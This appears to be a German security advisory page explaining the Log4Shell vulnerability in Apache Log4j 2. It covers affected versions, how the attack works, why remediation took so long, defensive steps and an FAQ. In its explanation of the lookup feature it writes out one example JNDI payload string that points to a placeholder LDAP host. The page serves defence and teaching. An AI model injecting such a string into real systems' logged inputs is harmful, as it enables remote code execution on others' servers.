Zum Inhalt springen

Log4Shell (CVE-2021-44228)

CVE-2021-44228CWE-917OWASP A03:2021CVSS 10.0Aktualisiert 29. August 20261 Min. Lesezeit

Log4Shell ist eine Schwachstelle in Apache Log4j 2, mit der ein Angreifer durch eine einzige Zeichenfolge in einer Logzeile beliebigen Code auf dem Server ausführen kann. Die Bewertung liegt bei 10.0, dem Höchstwert von CVSS. Schon Stunden nach der Veröffentlichung wurde weltweit danach gescannt. Log4j steckt tief in Java-Anwendungen, deshalb hilft nur: herausfinden, wo es läuft, und auf 2.17.1 oder höher gehen.

Betroffen
Apache Log4j 2.0-beta9 bis einschließlich 2.14.1
Gepatcht in
Log4j 2.15.0; vollständig behoben ab 2.17.1
Aktiv ausgenutzt
ja

Am 9. Dezember 2021 wurde eine Schwachstelle in Log4j 2 veröffentlicht, der Logging-Bibliothek, die in nahezu jeder Java-Anwendung steckt. Innerhalb weniger Stunden scannte das gesamte Internet danach. Log4Shell gilt seitdem als Musterbeispiel dafür, wie tief eine einzelne Komponente in einer Softwarelieferkette sitzen kann.

Was ist Log4Shell

Log4j konnte Werte in einer Logzeile nachschlagen und ersetzen. Eine Zeichenfolge wie ${jndi:ldap://beispiel.de/a} war für die Bibliothek kein Text, sondern eine Anweisung: hole etwas von diesem Server und führe es aus. Alles, was eine Anwendung protokolliert, konnte diese Anweisung enthalten, und Anwendungen protokollieren fast alles: einen Benutzernamen, einen Suchbegriff, einen User-Agent-Header.

Wie der Angriff abläuft

Der Angreifer setzt die Zeichenfolge in ein Feld, von dem er vermutet, dass es protokolliert wird. Oft war das schlicht der User-Agent einer HTTP-Anfrage. Sobald die Anwendung diese Zeile schrieb, baute der Server selbst eine Verbindung zum Angreifer auf, holte eine Java-Klasse und führte sie aus. Ohne Zugangsdaten, ohne Zutun eines Mitarbeiters.

Dass der Server die ausgehende Verbindung selbst aufbaut, macht dies zugleich zu einem Musterfall von SSRF als Zwischenschritt zu Remote Code Execution.

Warum es sich so lange hinzog

Log4j wird selten bewusst installiert. Es kommt als Abhängigkeit eines Frameworks, das wiederum mit dem Produkt eines Herstellers kommt. Organisationen wussten schlicht nicht, wo es lief. Anwendungen, die nie gepatcht wurden, werden Jahre später noch gefunden und ausgenutzt.

Was jetzt zu tun ist

  • Inventarisieren Sie, welche Anwendungen Log4j 2 nutzen, indirekte Abhängigkeiten eingeschlossen. Eine Software Bill of Materials macht das wiederholbar.
  • Gehen Sie auf Log4j 2.17.1 oder höher. Version 2.15.0 schloss diese CVE, danach folgten aber drei verwandte Schwachstellen.
  • Begrenzen Sie ausgehenden Verkehr von Servern. Ohne die Möglichkeit, nach außen zu telefonieren, scheitert die zweite Stufe des Angriffs.
  • Prüfen Sie, ob im Dezember 2021 bereits etwas hereingekommen ist. Damals erlangter Zugang kann noch bestehen.

Quellen

Häufige Fragen

Bin ich noch immer für Log4Shell anfällig?

Wenn Sie eine Java-Anwendung mit Log4j 2 unterhalb von 2.17.1 betreiben, ja. Log4j kommt meist als Abhängigkeit einer anderen Bibliothek mit, deshalb ist eine manuelle Inventarisierung Ihrer Software der einzige sichere Weg.

Hilft eine WAF gegen Log4Shell?

Eine Firewall fängt die bekannten Muster ab und verschafft Ihnen Zeit, aber die Zeichenfolge lässt sich auf Dutzende Arten verschleiern. Wirklich behoben wird es nur durch ein Upgrade.

Warum bekam Log4Shell eine 10.0?

Der Angriff braucht kein Konto, keine Benutzerinteraktion und funktioniert über das Netzwerk, und der Angreifer erhält volle Kontrolle über den Prozess. Das ist der Höchstwert auf jeder Achse, die CVSS misst.

Verwandte Artikel

Zum Suchen / drücken · Esc